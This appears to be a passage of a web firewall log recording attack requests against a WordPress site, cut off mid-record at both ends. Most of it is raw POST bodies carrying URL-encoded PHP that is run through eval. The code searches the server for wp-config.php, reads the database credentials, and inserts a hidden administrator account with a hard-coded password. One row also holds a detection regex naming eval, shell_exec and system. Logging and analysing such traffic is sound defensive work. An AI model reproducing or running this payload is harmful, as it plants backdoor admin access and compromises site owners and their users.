die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php HTTP\/1.1\nsec-fetch-user:?1\ncookie:4=ffd8674b0c7d3f69f41dda055a334103; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrR4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:12640\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua-platform:\"macOS\"\n\nxN=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-18 11:41:54","154.63.170.26","POST","\/wp-admin\/network\/upgrade.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GBStEu:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-admin\/network\/upgrade.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12663\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua-platform:\"Windows\"\n\nGBStEu=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%